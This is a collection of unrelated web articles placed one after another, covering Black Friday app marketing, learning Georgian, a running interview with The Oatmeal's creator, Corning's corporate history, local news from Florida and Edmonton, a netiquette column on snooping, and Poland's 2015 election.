move on to the next one. If they need to remember their card number and all the personal information they will abandon the shopping cart in an instance. Allow people to use any fast payment services like Apple Pay or Android Pay and everything will go faster. Messaging is the key. Use in – app messages and push notifications to announce your users about the improvements you made to your app and about the promotions for this occasion. It’s useless to make the best offers if nobody knows about them. Use deep linking. If you spread the word about the huge advantage of using your app during Black Friday, be sure that users won’t get lost inside your app in that rush and allow them to land on the same page where they can find the promotion they are looking for. Take advantages of mobile moments. This is the perfect period of the year not only for increasing your revenue, but for user acquisition and especially for user retention. Focus on attracting your customers offering an amazing experience overall and they will come back to your app after the Black Friday, too. Final Thoughts Over the last few years retailers began to start Black Friday earlier. So, it is almost Black Week than Black Friday. In case you are a shopper that dreams to buy whatever he wants with no restrictions be careful not to lose time with useless actions and prepare your techniques starting now. If you are a retailer this is the biggest reason to prepare your promotions and your app to achieve the success you are dreaming for. It is all about the strategy to turn this madness in an organized opportunity in terms of earnings. -Bakaki tskalshi kikinebs – ring any bells? When I think back to my first days in Georgia, as a foreigner and not having much of an idea about the culture, identity or indeed, language of the former soviet republic, it makes me smile. Not simply because they are fond memories, but because the identity of that person eludes me. I don’t really recognise her anymore. This, if memory serves, was back in 2014. Personal ties took me, quite happily so, to the country. I remember it vividly. I instantly fell in love with Tbilisi, coming from London, I had never seen such contrast before. Yet, one prominent memory will always stay with me. Looking out of the window of a cab from Tbilisi airport to Didube, with a jaw-dropping type expression on my face, trying to avidly comprehend how people could actually understand the Georgian alphabet, and pronounce letters that, to my naive ears, sounded incomprehensible. I’m not going to bore you with anything other than my quest to learn the language, for fear of rambling on. Suffice to say, my initial trip took me to three Georgian cities, all in stark contrast to the other. Tbilisi, Batumi and, rather significantly, Zugdidi. I had already brushed up on my Russian before arriving, as I knew that English, at least outside of the capital, was not widely spoken. Sitting around the table in the Kakhati region of Zugdidi, at a Supra my hosts had put on in honor of my arrival, I vividly remember a dear, dear lady, whom will always stay in my heart, slowly going through the Georgian alphabet and asking me to repeat. Wait right there; let me paint you a little picture, this very evening was the first time I’d ever ‘tasted’ Chacha. I was already two shots down. Megrelian Chacha is stronger than any other, and at this early stage and in my slightly intoxicated state, I pathetically thought I could repeat back what was being said to me. Wrong. My vain efforts were met with uncontrollable laughter. Three letters in particular. If you are not Georgian, and have had some time in this country, no doubt you’ll know what these three letters are. ყ – Well blow me down, this ain’t a letter, it’s a trick of the tongue, no?! No. It is a letter, and one I thought I would never be able to master კ– Ok, so a hard ‘K’ right? So why am I being told that I’m pronouncing it incorrectly? It’s what I like to call ‘the click’ – The word Yes (in Georgian: კი) is a prime example of this, and where ‘the click’ is best displayed. წ– A jumple of letters all rolled into one! ‘Tz’ was a real enemy of mine in the beginning. So I suppose back then, looking back, I admitted defeat. I gave up trying and stuck to Russian. Then something weird happened.. My life then took me back to London for a while, but I would come back to Georgia every couple of months and drive by the same places. So, to my actual point, what was the triggering factor in my learning of the language? The word ‘Lombardi’. I kid you not. There in an area stretching from the church on Rustaveli, up until the beginning of Vake on Chavchavadze, that has Lombardi’s (Bureau de change) a plenty. So those were my first letters, simply because they were blasted everywhere and I knew what it said. Having 8 letters under my belt, I thought I’d test the waters and see if I could go any further. I went to Biblus books and bought a children’s book on the Georgian alphabet. A….B…..G….three more. Maybe this seemingly impossible language was possible after all, just maybe? My linguistic skills improved slowly over the next year, with frequent visits to Georgia, me listening to Georgian radio and news in my office in London, and a year to the day that I first visited Georgia, I decided to move there. I got a job as a Medical Director and my daily sentence structure mostly consisted of an English base, with some Russian words thrown in and ending it with ‘Aba ra’ – I didn’t really know what I was saying, but knew I could finish off a sentence this way without sounding too conspicuous. I recently had a conversation with my friend about the meaning of the word ‘Aba’, and how it can be translated into English. To this day, I cannot find one single word to define its numerous connotations in Georgian. I owe a lot to my job there, and to the people I had around me. I truly believe that if they had have spoken more English, my level of Georgian would not be where it’s at today. As the days, weeks and months rolled by, I found myself conversing more and more in Georgian; sometimes without even realizing it. I am frequently asked by Georgians and foreigners alike, how I learnt the language and more specifically, how I learnt to pronounce the letters. The secret? I have no friggin’ clue. All I can say is I immersed myself in Georgian life. Not an ex-pat one. I had one British friend in Tbilisi, that was it. The rest of my beloved friends were Georgian speakers only. So, the only methodology I can come up with to explain my attainment was that firstly, I had no choice, I chose to really listen and mostly importantly, I TRIED. Sure, I failed on many an occasion, but if I hadn’t given it a go, I’d be no nearer to success. As I look back on my article here, I realize that, once again, I’ve swayed from point to point. Let me conclude by saying this: I am now somewhere near fluent in Georgian. However, I’m not exceptionally intelligent, don’t have a ridiculously high IQ, nor am I a book worm who studied the language nonstop until perfection, at least in my eyes, was attained. No, I lived it. I breathed it. Most importantly still, I had a true passion for the language, and the country. I still do. I encourage those of you who may have some reservations about giving it a go, to really try. It’s possible. I arrive at Tbilisi airport to the greeting of ‘’You’re the English girl who speaks Georgian, right?’’ – enough of an incentive for me. By Tamzin Whitewood 30 May 2017 18:58 -Are you familiar with the internet? If so, you're probably familiar with The Oatmeal. The Oatmeal is a ridiculously popular online comic that tackles topics from grammar to the mantis shrimp to Nikola Tesla to paradoxical dogs, with smart writing and illustrations that are equal parts sweet, grotesque, and laugh-out-loud funny. The man behind it all is Matthew Inman, a 30-year-old former website designer turned comic artist in Seattle, Washington. As it turns out, Matthew is also a runner, which I only recently found out after seeing his six-part comic The Terrible and Wonderful Reasons Why I Run Long Distances. Think of it as a graphic, online version of Murakami's What I Talk About When I Talk About Running, only with fewer words and more Blerch. Shortly after reading that, and re-reading it, I got to thinking, Hey, wouldn't it be cool if I could somehow persuade Matthew to do an interview with me for Remy's World? Shortly after that, I thought to myself, Maybe I should try contacting him to see. And shortly after that, I actually followed through. To my surprise and delight, Matthew responded right away and agreed to answer some questions via email. Our exchange is below. (I should pause at this point to stress that -- unlike most of the crap I write -- the following interview is an actual, real thing that happened. Not just something I made up. FYI.) Remy's World: When did you start running? Matthew Inman: Ten years ago. Were you athletic at all before you took up running? Not at all. I hated any kind of exercise, especially running. Do you remember the first moment you felt “like a runner”? Running used to feel like a chore. The day I truly became a runner was the day that I realized that being sedentary now felt like a chore. Running makes me feel relaxed, healthy, and great. Not running makes me feel like a bloated pile of uninspired, forgettable crap. Being a bloated pile of forgettable crap is more of a chore for me now than just putting my running shoes on and sweating for 20 minutes. What was the last race you did, and how'd it go? I ran the White River 50-mile ultra at the end of July, and then a week later ran the Grande Ridge 13.1. The ultra didn't go so well. I'd done it two years before and flew through the course, loving every minute of it. (Almost every minute, anyway. I'm not sure love adequately describes how I felt at mile 47). This year when I ran it I got really sick at mile 17: nausea, dry-heaving, and stomach spasms. I managed to lumber my way to mile 50, but I was an hour slower than my previous time. A week later I ran the Grande Ridge half marathon trail run. It had some respectable elevation gains, but the race went really well. After running WR50 I wanted to do a quick race that I could just sail through and enjoy, without all the relentless 11 hours of agony that comes with running an ultra. What's next, racewise? The Seattle Marathon. I'm running it mostly because I want to see all my fellow Seattleites wearing "I believe in The Blerch" shirts. What, if anything, does your job have in common with running? Both produce an endless supply of poop jokes. Has running affected your work in any unexpected ways? The majority of my comics are written in my head while I run. I find when brainstorming ideas, if I focus really hard trying to come up with something I wind up empty-handed. If I focus on something else, however, such as running, showering, or even having a conversation, I find that those ideas will spring up. The tough part is getting them down on paper before they disappear back into the ether of my brain. A few surprisingly heavy themes pop up fairly often in your comics: life, death, loss, the nature of existence… Are these things you think of while you run? Or is running an escape from such thoughts? We've all got loudspeakers in our heads that are constantly shouting fears, worries, and doubts at us. Running, at least for me, turns the volume on that loudspeaker way down. It's my way of saying "Hey brain, shut the f**k up for a half-hour. I'm taking a little vacation from you." It makes terrible thoughts seem trivial, albeit temporarily. I don't know if it's just the endorphins doing the work on that one, but if so it's a drug-addiction I fully endorse. What are your lifetime running goals? (I refuse to use the phrase “bucket list.”) A [Boston qualifier], maybe, although probably not realistic -- I can't run very fast. I'm more of a slow and steady kind of guy, so I think running Western States would be a more realistic goal. Plus I really want one of those belt buckles. How do you measure success as a runner? Have you ever tried to chase a deer? They are REALLY hard to catch. I've never seen a wild animal in the forest that I didn't chase. I think success as a runner means eventually overtaking a deer and tackling it. I would even settle for a caribou, or even something fatter and slower like a mountain goat, but ideally it would be a deer. Aristotle once said that the true measure of the human spirit is the ability to outrun and pile-drive a wild animal. I subscribe to that philosophy completely. You seem to be a bit of a contrarian when it comes to things like nutrition. Yes? Yeah, I run well and eat badly. Explain your philosophy on diet and nutrition, assuming you have one (and maybe you don’t)? My eating habits are that of a circus animal. Every time I do a trick, I get a reward. Ran 20 miles? Heck yes it's time for meatloaf and gummy bears. The best advice I can give other runners is to not eat like I do. Are you a “follow a training plan to a T” sort of runner? Or a “make it up as you go along” sort? I just make it up as I go along, mostly. I know the importance of having a training plan but I just tend to do my own thing. Do you run alone, mostly, or with a club or group? A few years ago I ran with a group, which I really enjoyed. We'd meet at various trails all over Washington state and I'd get paired up with various runners. Nowadays I run by myself most of the time. Running is kind of a private matter for me. I'm not one of those people that slathers their Facebook wall in posts every time they go outside and exercise. How often do you get recognized while running or racing? I don't typically post photos of myself on my website so very few people know what I look like, but in Seattle it's becoming a bit more common for people to stop me and ask if I'm The Oatmeal. When people meet me in person they always say the same thing: "I thought you'd be fatter! :(" [ED: See above for a photo of Matthew racing.] If you could guest-edit an issue of Runner’s World, what would you add or change? I'd write a six-page piece on how to effectively chase, catch, and tackle a deer. Deer-tackling is the new 5K. What’s the coolest place you’ve ever run? The Monteverde Cloud Forest in Costa Rica. Imagine a forest with trees that are hundreds of feet tall laced with vines, rolling fog, and crazy amounts of jungle critters -- it looked like a scene from Avatar. Our hotel was near the park entrance so we snuck in at night and went for a short run. Overhead was an ocean of falling stars, and below us was a glittering sea of lightning bugs. Eventually the park rangers chased us out on motorcycles for being in there after-hours, so technically it was a night run lit by stars and lightning bugs, followed by a dramatic car chase. If you could deliver one message to every runner reading this – and you can! – what would it be? When stopped at an intersection, don't jog in place. You look like an idiot. [ED: As readers of The Runner's Rule Book know, I agree.] Have you ever pooped yourself while running? Be honest. Like, in my pants? No. Although I did get the runs pretty bad while out on an 18-mile trail run by myself. I wound up crapping all over the place and using my 2009 Seattle Marathon shirt as toilet paper. It was one of my favorite running shirts so I had this idea in my head that I could just wash it in a stream and then properly wash it when I got home. I eventually defiled the shirt enough times that I wound up throwing it into the woods. As far as I know that shirt is still out there on a mountain somewhere, along with my dignity. Lightning round! Beer or wine? Wine. Running with music: Yes or no? No. Don't try to drown out the agony of running with music and other distractions. Hills or heat? Hills hills hills. I'm from the Pacific Northwest so heat is like my Kryptonite. Energy gel or banana? Banana. Road or trail? Trail. Meb or Ryan? I don't know what that question means, so I'll just reply and say that I really enjoyed all of Meg Ryan's films. Short-shorts or regular shorts? Short-shorts. They look horrible on 99.9% of people, but running isn't about looking good. NYC Marathon or Boston Marathon? I want to run both of them while wearing Heelys. Fill in the blank: Barefoot running is _________. ...a good way to DNF. If we were supposed to run barefoot we'd have evolved hooves by now. My favorite thing on the internet (besides RunnersWorld.com) is _________. Zombo.com If you're one of the 18 people in the world who aren't familiar with Matthew's work, check it out at TheOatmeal.com. -American manufacturer of glass & ceramics Not to be confused with Owens Corning Corning Incorporated is an American multinational technology company that specializes in specialty glass, ceramics, and related materials and technologies including advanced optics, primarily for industrial and scientific applications. The company was named Corning Glass Works until 1989.[3] Corning divested its consumer product lines (including CorningWare and Visions Pyroceram-based cookware, Corelle Vitrelle tableware, and Pyrex glass bakeware) in 1998 by selling the Corning Consumer Products Company subsidiary (now known as Corelle Brands) to Borden, but still holds an interest of about 8 percent. As of 2014 , Corning had five major business sectors: display technologies, environmental technologies, life sciences, optical communications, and specialty materials. Corning is involved in two joint ventures: Dow Corning and Pittsburgh Corning. Quest Diagnostics and Covance were spun off from Corning in 1996.[4] Corning is one of the main suppliers to Apple Inc. since working with Steve Jobs in 2007 to develop the iPhone;[5] Corning develops and manufactures Gorilla Glass, which is used by a large number of smartphone makers. It is one of the world’s biggest glassmakers.[6] Corning won the National Medal of Technology and Innovation four times for its product and process innovations.[7][8][9][10] History [ edit ] Corning Glass Works was founded in 1851 by Amory Houghton, in Somerville, Massachusetts, originally as the Bay State Glass Co. It later moved to Williamsburg, Brooklyn, New York, and operated as the Brooklyn Flint Glass Works. The company moved again to its ultimate home and namesake, the city of Corning, New York, in 1868 under leadership of the founder's son, Amory Houghton, Jr. Over 147 years later, Corning continues to maintain its world headquarters at Corning, N.Y. The firm also established one of the first industrial research labs there in 1908. It continues to expand the nearby research and development facility, as well as operations associated with catalytic converters and diesel engine filter product lines. Corning has a long history of community development and has assured community leaders that it intends to remain headquartered in its small upstate New York hometown.[11] The California Institute of Technology's 200-inch (5.1 m) telescope mirror at Palomar Observatory was cast by Corning during 1934–1936 out of low expansion borosilicate glass.[12] In 1932, George Ellery Hale approached Corning with the challenge of fabricating the required optic for his Palomar project. A previous effort to fabricate the optic from fused quartz had failed. Corning's first attempt was a failure, the cast blank having voids. Using lessons learned, Corning was successful in the casting of the second blank. After a year of cooling, during which it was almost lost to a flood, in 1935 the blank was completed. The first blank now resides in Corning's Museum of Glass. In 1935, Corning formed a partnership with bottle maker Owens-Illinois, which formed the company known today as Owens Corning. Owens Corning was spun off as a separate company in 1938. 1917 advertisement for the Corning Conaphore headlamp lens shown above. The company had a history of science-based innovations following World War II and the strategy by management was research and "disruptive" and "on demand" product innovation.[13] In 1962 Corning developed Chemcor, a new toughened automobile windshield designed to be thinner and lighter than existing windshields, which reduced danger of personal injury by shattering into small granules when smashed.[14] This toughened glass had a chemically hardened outer layer, and its manufacture incorporated an ion exchange and a "fusion process" in special furnaces that Corning built in its Blacksburg, Virginia facility.[13][15] Corning developed it as an alternative to laminated windshields with the intention of becoming an automotive industry supplier.[13] After being installed as side glass in a limited run of 1968 Plymouth Barracudas and Dodge Darts, Chemcor windshields debuted on the 1970 model year Javelins and AMXs built by American Motors Corporation (AMC).[15] As there were no mandatory safety standards for motor vehicle windshields, the larger automakers had no financial incentive to change from the cheaper existing products.[13][15] Corning terminated its windshield project in 1971, after it turned out to be one of the company's "biggest and most expensive failures."[15] However, like many Corning innovations, the unique process to manufacture this automotive glass was resurrected and is today the basis of their very profitable LCD glass business. In the fall of 1970, the company announced that researchers Robert D. Maurer, Donald Keck, Peter C. Schultz, and Frank Zimar had demonstrated an optical fiber with a low optical attenuation of 17 dB per kilometer by doping silica glass with titanium.[16] A few years later they produced a fiber with only 4 dB/km, using germanium oxide as the core dopant. Such low attenuations made fiber optics practical for telecommunications and networking. Corning became the world's leading manufacturer of optical fiber. In 1977, considerable attention was given to Corning's Z Glass project. Z Glass was a product used in television picture tubes. Due to a number of factors, the exact nature of which are subject to dispute, this project was considered a steep loss in profit and productivity. The following year the project made a partial recovery. This incident has been cited as a case study by the Harvard School of Business.[17] Company profits soared in the late 1990s during the dot-com boom, and Corning expanded its fiber operations significantly with several new plants. The company also entered the photonics market, investing heavily with the intent of becoming the leading provider of complete fiber-optic systems. Failure to succeed in photonics and the collapse in 2000 of the dot-com market had a major impact on the company, and Corning stock plummeted to $1 per share. However, as of 2007 the company had posted five straight years of improving financial performance. Current technologies [ edit ] The turning point for Corning came when Apple approached it to develop a robust display screen for its upcoming iPhone. Later, other companies also adopted its Gorilla glass screen. In 2011 Corning announced the expansion of existing facilities and the construction of a Gen 10 facility co-located with the Sharp Corporation manufacturing complex in Sakai, Osaka, Japan.[18] The LCD glass substrate is produced without heavy metals. Corning is a leading manufacturer of the glass used in liquid crystal displays[citation needed]. The company continues to produce optical fiber and cable for the communications industry at its Wilmington and Concord plants in North Carolina. It is also a major manufacturer of ceramic emission control devices for catalytic converters in cars and light trucks that use gasoline engines. The company is also investing in the production of ceramic emission control products for diesel engines as a result of tighter emission standards for those engines both in the U.S. and abroad. In 2007 Corning introduced an optic fiber, ClearCurve, which uses nanostructure technology to facilitate the small radius bending found in FTTX installations. Gorilla Glass, an outgrowth of the 1960s Chemcor project, is a high-strength alkali-aluminosilicate thin sheet glass used as a protective cover glass offering scratch resistance and durability in many touchscreens.[19] According to the book Steve Jobs by Walter Isaacson, Gorilla Glass was used in the first iPhone released in 2007.[20] On October 25, 2011 Corning unveiled Lotus Glass, an environmentally friendly and high-performance glass developed for OLED and LCD displays.[21][22] Corning invests about 10% of revenue in research and development, and has allocated US$300 million towards further expansion of its Sullivan Park research facility near headquarters in Corning, New York.[23] Corning Incorporated manufactures a high-purity fused silica employed in microlithography systems, a low expansion glass utilized in the construction of reflective mirror blanks, windows for U.S. space shuttles, and Steuben art glass. The number of Corning facilities employing the traditional tanks of molten glass has declined over the years, but it maintains the capacity to supply bulk or finished glass of many types. Corning is engaged in research and development on green lasers, mercury abatement, microreactors, photovoltaics, and silicon on glass. Through its Life Sciences division, the company offers products to support life science research, including stem-cell culture products.[24] Other activities [ edit ] Corning employs roughly 34,000 people worldwide and had sales of $10.217 billion in 2014.[25] The company has been listed for many years among Fortune magazine's 500 largest companies, and was ranked #297 in 2015. Although the company has long been publicly owned, James R. Houghton, great-great-grandson of the founder, served as chairman of the board of directors from 2001 to 2007. Over the years Houghton family ownership has declined to about 2%. Wendell P. Weeks has been with the company since 1983 and as of March 2013 was chairman, chief executive officer, and president.[26] Over its 160-year history Corning invented a process for rapid and inexpensive production of light bulbs, including developing the glass for Thomas Edison's light bulb. Corning was the glass supplier for lightbulbs for General Electric after Edison General Electric merged with Thomson-Houston Electric Company in 1892.[27] It was an early major manufacturer of glass panels and funnels for television tubes, invented and produced Vycor (high temperature glass with high thermal shock resistance). Corning invented and produced Pyrex, CorningWare Pyroceram glass-ceramic cookware, and Corelle durable glass dinnerware. Corning manufactured the windows for US manned space vehicles, and supplied the glass blank for the primary mirror in the Hubble Space Telescope. In July 2008 Corning announced the sale of Steuben Glass Works to Steuben Glass LLC, an affiliate of the private equity firm Schottenstein Stores Corporation. Steuben Glass had been unprofitable for more than a decade, losing 30 million dollars over the previous five years.[28] In February 2011, Corning acquired MobileAccess Networks, an Israeli company that develops Distributed antenna systems, which are often used by universities, stadiums and airports to ensure seamless wireless coverage throughout a facility. MobileAccess Networks became part of Corning’s telecommunications business unit.[29] In July 2017, Corning acquired SpiderCloud Wireless.[30] Board of directors [ edit ] As of 2016 :[31] Donald W. Blair: retired executive vice president and chief financial officer, NIKE, Inc. Stephanie A. Burns: retired chairman and chief executive officer, Dow Corning Corporation John A. Canning, Jr.: chairman, Madison Dearborn Partners, LLC Richard T. Clark: retired chairman, president and chief executive officer, Merck & Co., Inc. Robert F. Cummings, Jr.: retired vice chairman of investment banking, JPMorgan Chase & Co. Deborah A. Henretta: retired group president of global e-business, Procter & Gamble Company Daniel P. Huttenlocher: dean and vice provost, Cornell Tech Kurt M. Landgraf: retired president and chief executive officer, Educational Testing Service Kevin Martin: vice president, mobile and global access policy, Facebook, Inc. Deborah D. Rieman: executive chairman, MetaMarkets Group Hansel E. Tookes II: retired chairman and chief executive officer, Raytheon Aircraft Company Wendell P. Weeks: chairman, chief executive officer, and president, Corning Incorporated Mark S. Wrighton: chancellor and professor of chemistry, Washington University in St. Louis See also [ edit ] References [ edit ] Further reading [ edit ] Media related to Corning Inc. at Wikimedia Commons -Why cook and clean when you can have a sexy maid come in and do it for you. While the concept isn't new, a Dallas company now offers a sexy, discreet and professional housekeeping service that can include nude and topless maids. I'm sure all the guys reading this are rejoicing internally. Texas Maidens is the name of the place that boasts employing the most desirable women in Texas as their sexy maids. Before you go thinking you'll score with one of these 'sexy maidens', their website states these ladies are not escorts and do not provide illegal services. Regardless, I'm sure there are a lot of guys out there that wouldn't mind watching the game while a topless gal roams the house tidying things up. The prices aren't too bad either, ranging from $100-160 per hour. Better yet, these gals also clean offices. So, next time the boss starts complaining that your current cleaning service isn't doing a good job, just offer up Texas Maidens as an alternative. Water cooler talk will never be the same, that's for damn sure. Speaking of housekeeping, this is one of the greatest movie scenes ever. -With a headline like “Hillary Clinton uses obscenity on TV describing reaction to Trump’s inaugural speech,” you could be excused for thinking she went on an expletive laden rant. But Fox News’ headline is exactly what’s wrong with the right wing outrage machine. Appearing on the British late night talk show, The Graham Norton Show, Clinton and the out gay host, started chatting about the Trump inauguration and her attempt to get out of attending. (Because, seriously, would you want to go? You didn’t even run against him and the ceremony probably turned your stomach.) Clinton recounts that she and her husband, former President Bill Clinton, thought they might have found a way out, but it depended on what the other former presidents would do. “We thought, okay maybe others aren’t going, so we called the Bushes, and the elder Bushes were in the hospital, which I think was legitimate,” she said as the audience laughed. “So then we called the younger Bushes and they said ‘yeah we’re going’.” When the Carters told them they would also attend, the Clintons knew they were stuck. But when she talked about Trump’s inauguration speech, she told a quick anecdote that has the right wing in an uproar. “I was sitting next to George W. Bush and Bill was on my other side and we were listening to this really dark, divisive speech that I describe as a ‘cry from the white nationalist gut. I was so disappointed. Really so, so sad that it wasn’t an outreach; it was a narrowing and a hammering of what he had said before,” she told Norton. “It was reported that George W. Bush, as it ends, said, ‘That was some weird shit’,” she said as the audience roared. And it was,” Norton replied. Despite the headline, the actual Fox News article devotes about half of one sentence and the quote from Bush to justify the hand wringing. The rest of the piece is about her thoughts on Trump’s tweets and her attempt to avoid the inauguration. This Story Filed Under -Former Trooper Scott Kunstmann was accused of perjury and falsifying arrest reports. Prosecutors have offered the former Florida Highway Patrol trooper accused of perjury and falsifying reports a no-jail plea deal. Former trooper Scott Kunstmann was suspended, investigated and later fired and charged with falsifying documents and perjury — both felonies — after a Herald-Tribune investigation revealed that what transpired on his DUI stops did not match what he wrote in his official reports. Prosecutors offered Kunstmann a plea deal consisting of two years of probation and two years of counseling, according to Dr. Robert G. Culbertson, a retired criminology and sociology professor from Fort Myers who Kunstmann arrested for DUI in November 2011, while the 72-year-old retiree was southbound on I-75. Culbertson is livid that the former trooper will likely not be going to jail. "I think it's horrible a state trooper can go out and arrest someone, put them in jail, tell a pack of lies and then walk away," Culbertson said Friday. "This guy should never have been on the road." Neither Kunstmann nor his attorney Nevin Weiner returned calls seeking comment for this story. Culbertson said he learned of the possible deal Thursday evening, after the prosecutor assigned to the case, Assistant State Attorney Shanna Hourihan, told him a deal had been offered. Hourihan said the former trooper's lack of criminal history played a role in the decision. "I cannot tell you the specifics of the actual plea offer, as this is a pending case, but we believe an appropriate plea was offered based on the defendant's lack of criminal history, the facts of the case and substantive mitigation by the defense," Hourihan said. Kunstmann's conduct first drew scrutiny last year, when Culbertson noticed that what he read in the trooper's arrest report and heard when the trooper testified under oath in a deposition did not match his recollections of events. It also did not match the events recorded on the trooper's own dash-mounted video camera. Culbertson retained Sarasota attorney Andrea Mogensen, who has said the trooper was not truthful in either his arrest report or during a deposition she conducted. The State Attorney's Office threw out Culbertson's case last year, just as jury selection was set to begin. Kunstmann, 47, had been a trooper since 2007. -EDMONTON - Love them or hate them, more traffic circles are coming to city streets. Traffic planners have concept designs finalized for a “turbo roundabout,” a new design first used in The Netherlands that forces drivers in the outside lane to exit at the first or second opportunity rather than endlessly circling, changing lanes and causing fender-benders. “A lot of our traffic circles are set up so you could go around four or five times,” said Rob Gibbard, director of transportation planning. The turbo roundabout still needs community consultation and funding, but traffic engineers are hoping to try it out at 118th Avenue and 101st Street. In Europe, engineers use concrete curbs to keep traffic in the right lane and out the right exit, Edmonton hopes textured surfaces will accomplish the same thing without impeding snow removal. Edmonton was the traffic circle capital of Canada in the 1950s, then moved away from the design and even removed several near the University of Alberta. People complain other drivers don’t understand the rules. But they prevent high-speed, T-bone collisions and are safer than a signalled intersection. At the city’s annual traffic safety conference next week, expect roundabouts to be a topic of conversation. The conference focuses on a new approach called Safe Systems, which aims to re-engineer the road system to prevent major injuries and fatalities. “We know a crash will happen despite all of our best efforts,” said Australian Bruce Corben, a consultant making a presentation to the conference Wednesday. “Humans do make intentional and unintentional mistakes. How do we design an intersection so that any crash has a very low chance of a severe outcome?” In 2012, Corben was hired to analyze eight poorly performing intersections in Edmonton, Sherwood Park and St. Albert. All have common safety flaws that created the possibility of a T-bone crash when a person turns left or runs a red, which is the most dangerous way for a vehicle to get hit. “We believe the use of roundabout is the single most effective tool. But it’s a culture change, getting used to these new tools,” he said. In Victoria, Australia, he oversaw the change of more than 100 intersections to roundabouts and studied the effects, he said. “We find a 80- to 90-per-cent reduction in the most severe injury crashes.” In Edmonton, Gibbard’s department approved concept plans for at least two traffic circles on 92nd Avenue between 215th Street and 231st Street. A two-lane roundabout is planned for 112th Street and 167th Avenue, and a single-lane roundabout for 112th Street and 176th Avenue. Other new areas will also be considered. Gibbard said the province now has a policy to consider a roundabout whenever they are thinking of installing signals at a rural intersection. “At the right traffic volumes, they work very well,” he said. Edmonton is reconsidering where to place crosswalks around the circles, in some cases moving them further from the entrance/exit to increase visibility. estolte@edmontonjournal.com twitter.com/estolte -Editor's note: Brenna Ehrlich and Andrea Bartz are the sarcastic brains behind humor blog and book Stuff Hipsters Hate. When they're not trolling Brooklyn for new material, Ehrlich works as a news editor at Mashable.com and Bartz holds the same position at Psychology Today. (CNN) -- As anyone passing through a U.S. airport discovered last week, privacy is a precious thing. And while we can't expect it from grope-happy TSA officers, everyone should be able to demand a certain level from family and friends. So let's start with this week's most obvious shining bauble of a takeaway point: Don't snoop. A few decades ago, snooping had pretty clear-cut definitions: jimmying open the lock on Sally's diary and reading about her awkward fumblings with Billy, listening behind a closed door with a tumbler pressed against the wood, or slicing open a neighbor's mail. (We soon learned this last one is illegal, meaning that 10-year-olds still freeze in abject fear whenever they realize they've accidentally ripped open their sister's card and brace themselves for policemen to swing in through the windows, handcuffs at the ready.) Nowadays, accidental espionage is the norm. You grab your girlfriend's phone to check the time -- and bam, there's a text from her ex-boyfriend. You crack open your daughter's laptop to show her a Flickr album -- kapow, there's her friends-only Blogspot in fully accessible glory. You surf to Gmail the day after your friend used your computer, and hello, friend's inbox. And if you do suspect bad behavior, e-investigation is almost too easy. Like it or not, from time to time your eye will fall on something that's not meant for you, and when that happens you're a big fat privacy invader. In fact, a recent British survey found that 14 percent of wives spy on their hubbies' e-mails, 13 percent read his texts and 10 percent check his Web-surfing history. (The same survey found that about half as many men keep up the same spousal spying). An Australian survey found that 73 percent of those who check their partners' texts found out things they later wished they hadn't. So hang on, snoopy. You can minimize the damage both to your own conscience and to your relationship by following our three rules of digital snooping. (They're completely made up, but this is a netiquette column so we get to do that -- deal with it.) 1. Don't click on anything. The second you make a move to read the rest of the text or scroll to see more of the illicit e-mail, you've gone from the snooping equivalent of manslaughter to murder. No matter how intensely your curiosity was piqued, no matter how tantalizing the first few words are -- it's a dark road and a slippery slope and all sorts of metaphorical directions you'd best avoid. Make like an uncomfortable traveler watching a fat man entering the full-body scan and avert your eyes. 2. Figure out why you want to snoop. Everyone's favorite cat-killer (curiosity, that is) is a powerful force, but for most of us it's not potent enough to compromise our personal moral codes. So if you're just dying to check a certain relation's browsing history or e-mails or texts, there are likely some real-life red flags that are bugging you. If, pre-snooping, you can't shake the feeling that your beau is still in contact with that ex in Phoenix despite his impassioned assertions that she's out of the picture, or your motherly spider sense is tingling with suspicion that little Suzie is addicted to her classmate's Adderall, your best bet isn't to grab a magnifying glass (or hit ctrl-F) and go all Encyclopedia Brown, it's to man up and ask him or her about it. (Without any mention of his or your digital habits, of course). Here's the cool part: If you're a trusting person (read: not maniacally exploring his or her smartphone in the dead of night), that doesn't mean you're gullible. In fact, a study from the University of Toronto suggests you'll actually be better at judging whether he's telling the truth when you ask him point blank what's up. 3. Know when to call yourself out. What's making you feel all squirmy? Are you bothered by the fact that you saw something that wasn't meant for you, or by the content of what you saw? If it's the former, hats off to you for having a superhuman guilt reflex; there's no reason to tell your friend you saw that embarrassing follow-up e-mail from her gynecologist, so get over it, even if 'fessing up would make you feel better. (Exception: If she never, ever remembers to, say, log out of Facebook when she's done perusing at your place, the dingbat could probably benefit from a lesson in Protecting Your Personal Info 101.) But what if your accidental indiscretion really is weighing on you? You truly didn't mean to glimpse a text from her ex, and now it's bugging you, or he doesn't know that you know that that flirtatious co-worker of his is sending him Facebook messages. So you walk around with narrowed eyes, thinking, "Gah, you're keeping a secret from me. Why don't you just tell me?!" Well, here's the missing piece, folks, the oft-overlooked sucker-punch from reality: You're keeping a secret now, too -- the fact that you read a private missive. So take a deep breath, and reveal exactly what you were doing (grabbing her phone to find Tommy's number, as requested), exactly what you saw (Was that a MySpace shot of a dude with his shirt off?!), and exactly how it's making you feel (ashamed that you accidentally snooped; suspicious of this beefcake; inadequate about your own pecs; slightly turned on). Then you'll be back on the road to Trusting Relationship Town, population: you and your circle of not-hating-you friends. Or at least, you'll be on the road to passcodes and phone locks all around. Judging by those gloved, blue-shirted airport employees now pawing through your toiletries, it might be the last bastion of privacy you get. -Media playback is unsupported on your device Media caption Prime Ministerial candidate Beata Szydlo: ''We wouldn't have won, had it not been for the Polish people'' Poland's opposition Law and Justice party - conservative and Eurosceptic - has won parliamentary elections. Preliminary results gave the party 37.6% of the vote, but it was not immediately clear if that would be enough for it to govern alone. Its leader Jaroslaw Kaczynski claimed victory, and the outgoing Prime Minister, Ewa Kopacz of the centrist Civic Platform, admitted defeat. Law and Justice (PiS) has strong support in poorer, rural areas. Civic Platform, the pro-market party that governed for the last eight years, got 24.1% of the vote. Three other parties also won enough votes to get seats in parliament: a new right-wing party led by rock star Pawel Kukiz with 8.8%; a new pro-business party, Modern Poland, with 7.6%; and the agrarian Polish People's Party with 5.1%. The election authority is expected to announce how many seats the parties get in parliament on Tuesday. Exit polls suggested Law and Justice would have a small majority - making it the first time a single party has won enough seats to govern alone since democracy was restored in 1989. Image copyright EPA Image caption Some observers said Mr Kaczynski (left) could take the job of prime minister from Beata Szydlo (right) in months to come after the euphoria of victory has died down "We will exert law but there will be no taking of revenge. There will be no squaring of personal accounts," said Mr Kaczynski. "There will be no kicking of those who have fallen through their own fault and very rightly so." Analysis: Adam Easton, BBC News, Warsaw It was a historic election. It 